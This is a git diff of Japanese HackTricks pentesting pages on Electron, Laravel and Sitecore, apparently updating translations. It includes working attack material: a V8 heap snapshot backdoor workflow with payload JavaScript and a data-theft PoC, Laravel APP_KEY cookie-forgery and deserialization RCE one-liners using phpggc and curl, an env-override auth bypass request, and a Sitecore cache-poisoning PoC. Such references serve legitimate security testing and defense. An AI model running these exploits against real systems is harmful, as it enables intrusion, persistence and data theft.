どの**実行ファイル**が**ログイン**時に起動するかとその**オプション**を**設定**します（macOS および Windows のみ）。 Example: ```javascript @@ -353,7 +349,7 @@ Native.app.exit() ``` ## systemPreferences モジュール -Electronにおけるシステム設定へのアクセスと**システムイベントの発行**のための**主要な API**です。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および**setUserDefault** のようなメソッドはすべて**このモジュールの一部**です。 +Electronでシステム環境設定にアクセスし、システムイベントを発行するための**主要なAPI**です。**subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** といったメソッドはすべてこのモジュールの**一部**です。 **使用例:** ```javascript @@ -370,31 +366,41 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **監視**: NSDistributedNotificationCenter を使用して **ネイティブ macOS 通知** を受信します。 -* **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで **すべて** の distributed notifications を傍受できました。 -* **Catalina / Big Sur** 以降、サンドボックス化されたアプリは通知を名前で登録することで、たとえば **画面のロック/アンロック**、**ボリュームのマウント**、**ネットワーク活動** などの **多くのイベント** を引き続き **購読** できます。 +* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter. + -> **NSDistributedNotificationCenter** を使用してネイティブな macOS 通知を受信します。 +* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver. + -> **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで配布された通知を **すべて** 傍受できました。 +* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**. + -> **Catalina / Big Sur** 以降でも、サンドボックス化されたアプリは通知を **名前で登録** することで（例：**画面のロック/アンロック**、**ボリュームのマウント**、**ネットワークの活動** など）多くのイベントに **subscribe** できます。 ### **getUserDefault / setUserDefault** -* **NSUserDefaults** と **連携** し、macOS 上の **アプリケーション** または **グローバル** 設定を保存します。 +* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS. + -> **NSUserDefaults** とインターフェースし、macOS 上の **アプリケーション** または **グローバル** な設定を保存します。 -* **getUserDefault** は **最近のファイルの場所** や **ユーザーの地理的位置** といった **機密情報** を **取得** できます。 +* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**. + -> **getUserDefault** は **最近のファイルの場所** や **ユーザーの地理的な位置情報** などの機密情報を **取得** できる場合があります。 -* **setUserDefault** はこれらの設定を **変更** し、アプリの **構成** に影響を与える可能性があります。 +* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**. + -> **setUserDefault** はこれらの設定を **変更** でき、アプリの **構成** に影響を与える可能性があります。 -* **古い Electron バージョン**（v8.3.0 より前）では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。 +* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**. + -> **古い Electron バージョン**（v8.3.0 より前）では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。 ## Shell.showItemInFolder -この関数はファイルマネージャで指定されたファイルを表示します。ファイルマネージャによっては自動的にファイルを実行してしまう可能性があります。 +This function whows the given file in a file manager, which **could automatically execute the file**. +-> この関数は指定されたファイルをファイルマネージャで表示します。ファイルマネージャがファイルを自動的に実行する可能性があります（**could automatically execute the file**）。 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) -## コンテンツセキュリティポリシー +## Content Security Policy -Electron アプリには **コンテンツセキュリティポリシー (CSP)** を設定し、**XSS 攻撃を防止** する必要があります。**CSP** はブラウザ内で **信頼されていないコード** の **実行** を **防ぐ** のに役立つ **セキュリティ標準** です。 +Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser. +-> Electron アプリは **Content Security Policy (CSP)** を持つべきで、**XSS 攻撃を防ぐ** ためのものです。**CSP** はブラウザ内で **信頼できないコードの実行** を **防止** するための **セキュリティ標準** です。 -通常は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に CSP を **設定** します。 +It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**. +-> 通常、CSP は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に設定されます。 For more information check: @@ -404,18 +410,24 @@ pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -## **ツール** +## **Tools** -- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおけるミスコンフィグやセキュリティのアンチパターンを特定するツールです。 -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。 -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツールです -- [**Electro.ng**](https://electro.ng/): 購入が必要です +- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. + -> Electron ベースのアプリケーションにおけるミスコンフィギュレーションやセキュリティのアンチパターンを識別するツールです。 +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity. + -> Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。 +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries + -> 脆弱なサードパーティライブラリをチェックするためのツールです。 +- [**Electro.ng**](https://electro.ng/): You need to buy it + -> 購入が必要です。 -## ラボ +## Labs In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps. +-> 上記リンクでは、exploit vulnerable Electron apps のラボが見つかります。 -ラボで役立つコマンド: +Some commands that will help you will the lab: +-> ラボで役立ついくつかのコマンド： ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -438,18 +450,18 @@ cd vulnerable1 npm install npm start ``` -## V8 heap snapshot の改ざんによるローカルバックドア挿入 (Electron/Chromium) – CVE-2025-55305 +## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 -Electron および Chromium ベースのアプリは起動時に事前構築された V8 heap snapshot (v8_context_snapshot.bin、およびオプションで browser_v8_context_snapshot.bin) をデシリアライズして、各 V8 isolate (main, preload, renderer) を初期化します。従来、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS のコード署名チェックの両方を回避していました。結果として、ユーザー書き込み可能なインストール環境でスナップショットを置き換えることで、署名済みバイナリや ASAR を変更することなくアプリ内部でステルスかつ永続的なコード実行が可能になりました。 +Electron と Chromium ベースのアプリは、起動時に事前に用意された V8 heap snapshot を逆シリアライズして各 V8 isolate (main, preload, renderer) を初期化します（v8_context_snapshot.bin、必要に応じて browser_v8_context_snapshot.bin）。歴史的に、Electron の integrity fuses はこれらの snapshot を実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS の code-signing チェックの両方を回避していました。結果として、ユーザーが書き込み可能なインストール先に snapshot を置き換えるだけで、署名済みバイナリや ASAR を変更せずにアプリ内でステルスかつ永続的なコード実行が可能になっていました。 Key points -- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. -- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). -- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. -- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots をカバーしていませんでした（CVE-2025-55305）。Chromium も同様に snapshots の整合性チェックを行っていません。 +- Attack preconditions: ローカルでアプリのインストールディレクトリにファイルを書き込めること。これは Electron アプリや Chromium ブラウザがユーザー書き込み可能なパスにインストールされているシステムで一般的です（例: %AppData%\Local on Windows; /Applications with caveats on macOS）。 +- Effect: 頻繁に使われる builtin（「gadget」）を上書きすることで、任意の isolate 内で攻撃者の JavaScript を確実に実行でき、永続化と code-signing 検証の回避を可能にします。 +- Affected surface: EnableEmbeddedAsarIntegrityValidation を有効にしていても Electron アプリ、およびユーザー書き込み可能な場所から snapshot をロードする Chromium ベースのブラウザが影響を受けます。 Generating a malicious snapshot without building Chromium -- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. +- prebuilt な electron/mksnapshot を使い、payload JS を snapshot にコンパイルしてアプリの v8_context_snapshot.bin を上書きします。 Example minimal payload (prove execution by forcing a crash) ```js @@ -466,10 +478,10 @@ throw new Error("testing isArray gadget"); }; ``` Isolate-aware payload routing (main と renderer で異なるコードを実行) -- Main process detection: process.pid、process.binding()、process.dlopen のような Node-only globals は main process isolate に存在します。 -- Browser/renderer detection: alert のような Browser-only globals はドキュメントコンテキストで実行しているときに利用可能です。 +- Main process detection: メインプロセスの isolate では、Node 専用のグローバル（process.pid、process.binding()、process.dlopen など）が存在します。 +- Browser/renderer detection: ドキュメントコンテキストで実行している場合、Browser 専用のグローバル（alert など）が利用可能です。 -main-process の Node 機能を一度だけプローブする example gadget +main-process の Node 機能を一度だけプローブする Example gadget ```js const orig = Array.isArray; @@ -498,7 +510,7 @@ process.exit(0); return orig(...arguments); }; ``` -レンダラー/ブラウザコンテキストのデータ窃取 PoC（例: Slack） +Renderer/browser-context におけるデータ窃取 PoC (例: Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -523,23 +535,23 @@ return orig(...arguments); }; ``` Operator workflow -1) payload.js を作成し、一般的な組み込み（例: Array.isArray）を上書きし、必要に応じてアイソレートごとに分岐させる。 -2) Chromium ソース無しで snapshot をビルドする: +1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate. +2) Build the snapshot without Chromium sources: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) ターゲットアプリケーションの snapshot ファイルを上書きする: -- v8_context_snapshot.bin (常に使用される) -- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse が使用されている場合) -4) アプリを起動すると、選択した組み込みが使用されるたびにガジェットが実行される。 +3) Overwrite the target application’s snapshot file(s): +- v8_context_snapshot.bin (always used) +- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) +4) Launch the application; the gadget executes whenever the chosen builtin is used. -Notes and considerations -- Integrity/signature bypass: スナップショットファイルはコード署名チェックでネイティブ実行ファイルとして扱われず、（歴史的に）Electron’s fuses や Chromium 整合性制御の対象になっていなかった。 -- Persistence: ユーザー書き込み可能なインストールにあるスナップショットを置き換えると、通常アプリ再起動後も残存し、署名済みで正当なアプリに見える。 -- Chromium browsers: 同じ改ざんの概念は、ユーザー書き込み可能な場所にインストールされた Chrome/派生ブラウザにも適用される。Chrome には他の整合性緩和策があるが、物理的にローカルな攻撃はその脅威モデルの範囲外として明示している。 +注意点と考慮事項 +- 整合性/署名のバイパス: Snapshot ファイルは code-signing チェックでネイティブ実行ファイルとして扱われず、（歴史的に）Electron の fuses や Chromium の整合性制御の対象外だった。 +- 永続性: ユーザー書き込み可能なインストールにある snapshot を置き換えると、通常アプリ再起動をまたぎ、署名済みの正当なアプリに見える。 +- Chromium ブラウザ: 同様の改ざんはユーザー書き込み可能な場所にインストールされた Chrome/derivatives にも当てはまる。Chrome は別の整合性緩和策を持つが、物理的にローカルな攻撃をその脅威モデルから明示的に除外している。 -Detection and mitigations -- スナップショットを実行可能コンテンツとして扱い、整合性強制の対象に含める（CVE-2025-55305 fix）。 +検出と緩和策 +- Snapshot を実行可能コンテンツとして扱い、整合性強制に含める（CVE-2025-55305 fix）。 - 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。 -- 早期ランタイムでの組み込み上書きや予期しないスナップショットの変更を検出する; デシリアライズされたスナップショットが期待値と一致しない場合にアラートを出す。 +- 早期ランタイムでの builtin 上書きや予期しない snapshot の変更を検出する; デシリアライズされた snapshot が期待値と一致しない場合にアラートを出す。 ## **References** diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 2361974b7..5274438f6 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -詳細はこちら: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +この件の詳細は次を参照してください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & 暗号化の内部 (Laravel \u003e=5.6) +## APP_KEY & 暗号化の内部処理 (Laravel \u003e=5.6) -Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を使用します (`Illuminate\\Encryption\\Encrypter`). -最終的に**クライアントに送信される**生の暗号文は、**JSONオブジェクトのBase64**のようになります: +Laravel は内部で AES-256-CBC（または GCM）と HMAC 整合性を使用します（`Illuminate\\Encryption\\Encrypter`）。 +最終的に**クライアントに送られる**生の暗号文は、**JSONオブジェクトのBase64**のようなものです: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,7 +20,7 @@ Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` はデフォルトで平文を `serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を**自動的に `unserialize()` します**。したがって **32バイトの秘密 `APP_KEY` を知っている攻撃者は暗号化された PHP シリアライズ済みオブジェクトを作成し、マジックメソッド（`__wakeup`, `__destruct`, …）を介して RCE を得ることができます**。 +`encrypt($value, $serialize=true)` はデフォルトでプレーンテキストを `serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を **自動的に `unserialize()` します。** したがって、32バイトの秘密 `APP_KEY` を知る攻撃者は暗号化された PHP シリアライズドオブジェクトを作成し、マジックメソッド（`__wakeup`、`__destruct`、…）経由でRCEを獲得できます。 Minimal PoC (framework ≥9.x): ```php @@ -29,12 +29,12 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -生成された文字列を任意の脆弱な `decrypt()` sink (route param, cookie, session, …) に注入します。 +生成された文字列を、任意の脆弱な `decrypt()` sink（route param、cookie、session、…）に注入します。 --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) はプロセス全体を自動化し、便利な **bruteforce** モードを追加します: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) は処理全体を自動化し、便利な **bruteforce** モードを追加します: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -45,7 +45,7 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -このスクリプトはCBCとGCMのペイロードの両方を透過的にサポートし、HMAC/tagフィールドを再生成します。 +このスクリプトはCBCおよびGCMの両方のペイロードに透過的に対応し、HMAC/tagフィールドを再生成します。 --- @@ -54,16 +54,16 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt | Project | Vulnerable sink | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `Passport::withCookieSerialization()` が有効な場合の `XSRF-TOKEN` cookie | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` に設定された場合の `laravel_session` cookie | Laravel/RCE15 | -悪用のワークフローは常に次の通りです： -1. 32バイトの`APP_KEY`を取得するか、ブルートフォースで特定する。 -2. **PHPGGC**でガジェットチェーンを構築する（例えば `Laravel/RCE13`、`Laravel/RCE9`、または`Laravel/RCE15`）。 -3. 復元した`APP_KEY`を使い、**laravel_crypto_killer.py**でシリアライズ済みのガジェットを暗号化する。 -4. 暗号文を脆弱な`decrypt()` sink（ルートパラメータ、cookie、session …）に渡して**RCE**を引き起こす。 +The exploitation workflow is always: +1. 32バイトの `APP_KEY` を入手するか、ブルートフォースで取得する。 +2. **PHPGGC** で gadget chain を構築する（例: `Laravel/RCE13`, `Laravel/RCE9`, `Laravel/RCE15`）。 +3. シリアライズした gadget を **laravel_crypto_killer.py** と取得した `APP_KEY` で暗号化する。 +4. 暗号文を脆弱な `decrypt()` sink（ルートパラメータ、cookie、session …）に渡して **RCE** を引き起こす。 -以下は、上で挙げた各実際のCVEについてフル攻撃経路を示す簡潔なワンライナーです: +以下は、上記の各実際のCVEに対するフル攻撃パスを示す簡潔なワンライナーです： ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,38 +80,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` -## 大量の APP_KEY 発見 — cookie brute-force による +## cookie brute-forceによる大量のAPP_KEY発見 -新しい Laravel のレスポンスは少なくとも1つの暗号化された cookie（`XSRF-TOKEN`、通常は `laravel_session`）を設定するため、public internet scanners (Shodan, Censys, …) leak millions of ciphertexts が発生し、これらはオフラインで攻撃可能です。 +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. -Synacktiv (2024-2025) が発表した研究の主な所見: +Key findings of the research published by Synacktiv (2024-2025): * Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) * Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** * >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. -* 大規模なキー再利用 – Top-10 APP_KEYs は商用 Laravel テンプレート（UltimatePOS, Invoice Ninja, XPanel, …）にハードコードされたデフォルトです。 +* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). -プライベートな Go ツール **nounours** は AES-CBC/GCM bruteforce のスループットを約 1.5 billion tries/s に押し上げ、全データセットの cracking を <2 分に短縮します。 +The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. -## CVE-2024-52301 – HTTP argv/env override → 認証バイパス +## CVE-2024-52301 – HTTP argv/env override → auth bypass -多くのディストリビューションで典型的な PHP 設定 `register_argc_argv=On` の場合、PHP はクエリ文字列から派生した HTTP リクエスト用の `argv` 配列を公開します。最近の Laravel バージョンはこの「CLI-like」な引数を解析し、ランタイムで `--env=` を尊重しました。これにより、任意の URL にこれを付与するだけで現在の HTTP リクエストのフレームワーク環境を切り替えることができます: +多くのディストリビューションで一般的な `register_argc_argv=On` の場合、PHPはクエリ文字列から派生したHTTPリクエスト用の `argv` 配列を公開します。最近のLaravelのバージョンはこれらの “CLI-like” 引数を解析し、ランタイムで `--env=` を尊重しました。これにより、任意のURLに付与するだけで現在のHTTPリクエストのフレームワーク環境を切り替えることができます: - 簡易確認: -- `https://target/?--env=local` または任意の文字列にアクセスして、環境依存の変化（デバッグバナー、フッター、詳細なエラーなど）を確認します。文字列が反映されていれば、オーバーライドが機能しています。 +- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. -- インパクト例（特定の env を信頼するビジネスロジック）: -- アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログイン POST を以下に送ることで有効な資格情報なしに認証できます: +- 影響例（特定の env を信用するビジネスロジック）: +- アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログインPOSTを次のように送ることで有効な認証情報なしに認証できる可能性があります: - `POST /login?--env=preprod` - 注意点: -- リクエスト単位で動作し、永続化しません。 -- `register_argc_argv=On` と、HTTP の argv を読む脆弱な Laravel バージョンが必要です。 -- “debug” 環境でより詳細なエラーを出したり、環境制御されたコードパスをトリガーしたりする際に有用なプリミティブです。 +- リクエスト単位で動作し、永続化はしません。 +- `register_argc_argv=On` と、HTTPでargvを読む脆弱なLaravelバージョンが必要です。 +- “debug” 環境でより詳細なエラーを表示させたり、環境で制御されたコードパスをトリガーするための有用なプリミティブです。 - 緩和策: -- PHP-FPM/Apache で `register_argc_argv` を無効化する。 -- HTTP リクエストで argv を無視するよう Laravel をアップグレードし、本番ルートで `app()->environment()` に依存した信頼前提を削除する。 +- PHP-FPM/Apacheで `register_argc_argv` を無効にする。 +- LaravelをアップグレードしてHTTPリクエストでargvを無視するようにし、本番ルートで `app()->environment()` に依存した信頼前提を排除する。 Minimal exploitation flow (Burp): ```http @@ -123,26 +123,26 @@ email=a@b.c&password=whatever&remember=0xdf ``` --- -## Laravel のトリック +## Laravelのトリック ### デバッグモード -Laravel が **デバッグモード** の場合、**コード** や **機密データ** にアクセスできるようになります。\ +If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\ For example `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -これは通常、他の Laravel RCE CVEs を悪用する際に必要になります。 +This is usually needed for exploiting other Laravel RCE CVEs. -### フィンガープリンティング & 公開された開発用エンドポイント +### フィンガープリンティングと公開された開発用エンドポイント -本番で公開されている Laravel スタックや危険な開発ツールを特定するための簡易チェック: +運用環境で公開されているLaravelスタックや危険な開発ツールを特定するための簡単なチェック： -- `/_ignition/health-check` → Ignition が存在 (CVE-2021-3129 で使われたデバッグツール)。認証なしで到達可能な場合、アプリはデバッグモードか設定ミスの可能性があります。 -- `/_debugbar` → Laravel Debugbar のアセット。多くの場合デバッグモードを示します。 -- `/telescope` → Laravel Telescope (開発監視ツール)。公開されている場合、広範な情報漏洩や実行可能な操作が予想されます。 -- `/horizon` → キューのダッシュボード。バージョン情報の開示や、場合によっては CSRF 保護された操作が存在することがあります。 -- `X-Powered-By`、クッキー `XSRF-TOKEN` と `laravel_session`、および Blade のエラーページもフィンガープリントに役立ちます。 +- `/_ignition/health-check` → Ignitionが存在（debug tool used by CVE-2021-3129）。認証なしで到達可能な場合、アプリがデバッグ中または設定ミスの可能性があります。 +- `/_debugbar` → Laravel Debugbarのアセット；しばしばデバッグモードを示します。 +- `/telescope` → Laravel Telescope（dev monitor）。公開されている場合、広範な情報開示と操作の可能性が考えられます。 +- `/horizon` → Queue dashboard；バージョン情報の開示や、時にCSRF-protected actionsが存在することがあります。 +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 @@ -151,11 +151,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/ ``` ### .env -Laravel は、cookies やその他の資格情報を暗号化するために使用する APP を `.env` というファイルに保存します。このファイルにはパストラバーサルで `/../.env` のようにアクセスできます。 +Laravelは、cookiesやその他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存します。このファイルにはパストラバーサルを使って`/../.env`経由でアクセスできます。 -Laravel は、エラーを検出して debug が有効になっている場合に、この情報を debug page 内にも表示します。 +Laravelはこの情報をdebug page（Laravelがエラーを検出し、それが有効になっているときに表示される）にも表示します。 -Laravel の秘密の APP_KEY を使用すると、cookies を復号および再暗号化できます: +Laravelの秘密のAPP_KEYを使用して、cookiesを復号化および再暗号化できます: ### Decrypt Cookie ```python @@ -218,12 +218,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe ``` ### Laravel Deserialization RCE -影響を受けるバージョン: 5.5.40 および 5.6.x 〜 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +影響を受けるバージョン: 5.5.40 および 5.6.x ～ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -deserialization 脆弱性に関する情報は次を参照してください: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +deserialization 脆弱性に関する情報はこちら: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -テストおよびexploitには次を使用できます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -または metasploit を使って exploit することもできます: `use unix/http/laravel_token_unserialize_exec` +テストおよびエクスプロイトは以下を使用して行えます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +または metasploit を使ってエクスプロイトすることもできます: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index 7d168c32b..f6b1652d4 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -2,12 +2,12 @@ {{#include ../../../banners/hacktricks-training.md}} -このページは、pre‑auth XAML handler から HTML cache poisoning を経て、認証された UI フローを介して BinaryFormatter deserialization による RCE に至る、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約します。これらの手法は類似の Sitecore バージョン／コンポーネントにも一般化でき、テスト、検出、強化のための具体的なプリミティブを提供します。 +このページは、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約しており、pre‑auth XAML handler から HTML cache poisoning を経由し、authenticated UI フローを通じて BinaryFormatter deserialization による RCE へとピボットする攻撃を示します。これらの手法は類似の Sitecore バージョン/コンポーネントにも一般化でき、テスト、検出、および強化のための具体的なプリミティブを提供します。 -- 対象製品（検証済み）: Sitecore XP 10.4.1 rev. 011628 +- Affected product tested: Sitecore XP 10.4.1 rev. 011628 - Fixed in: KB1003667, KB1003734 (June/July 2025) -See also: +参照: {{#ref}} ../../../pentesting-web/cache-deception/README.md @@ -23,11 +23,11 @@ Entrypoint is the pre‑auth XAML handler registered in web.config: ```xml ``` -以下からアクセス可能: +経由でアクセス可能： ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` -コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に攻撃者が制御するフィールドを読み取り、リフレクションで対象コントロールのメソッドを呼び出します: +コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に attacker が制御するフィールドを読み取り、対象コントロールのメソッドをリフレクションを使って呼び出します: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control @@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` -重要な観察点: XAML ページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれています。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControl（Sitecore のクラス）を継承しており、ReflectionUtil.Filter allow‑list (Sitecore.*) を通すため、Sitecore WebControl のメソッドがアンロックされます。 +重要な点: XAMLページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれている。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControl（Sitecore のクラス）を継承しており、ReflectionUtil.Filter の許可リスト (Sitecore.*) を通すため、Sitecore WebControl のメソッドが有効になる。 -poisoning のためのマジックメソッド: +ポイズニング用の Magic メソッド: ```csharp // Sitecore.Web.UI.WebControl protected virtual void AddToCache(string cacheKey, string html) { @@ -54,7 +54,7 @@ if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); ``` xmlcontrol:GlobalHeader をターゲットにし、Sitecore.Web.UI.WebControl のメソッドを名前で呼び出せるため、pre‑auth の任意の HtmlCache 書き込みプリミティブが得られます。 -### PoC リクエスト (CVE-2025-53693) +### PoC request (CVE-2025-53693) ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 Host: target @@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -注記: -- __SOURCE は Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です（静的 XAML に由来するため、ctl00_ctl00_ctl05_ctl03 のように一般的に安定しています）。 -- __PARAMETERS の形式は Method("arg1","arg2")。 +注意事項: +- __SOURCE は 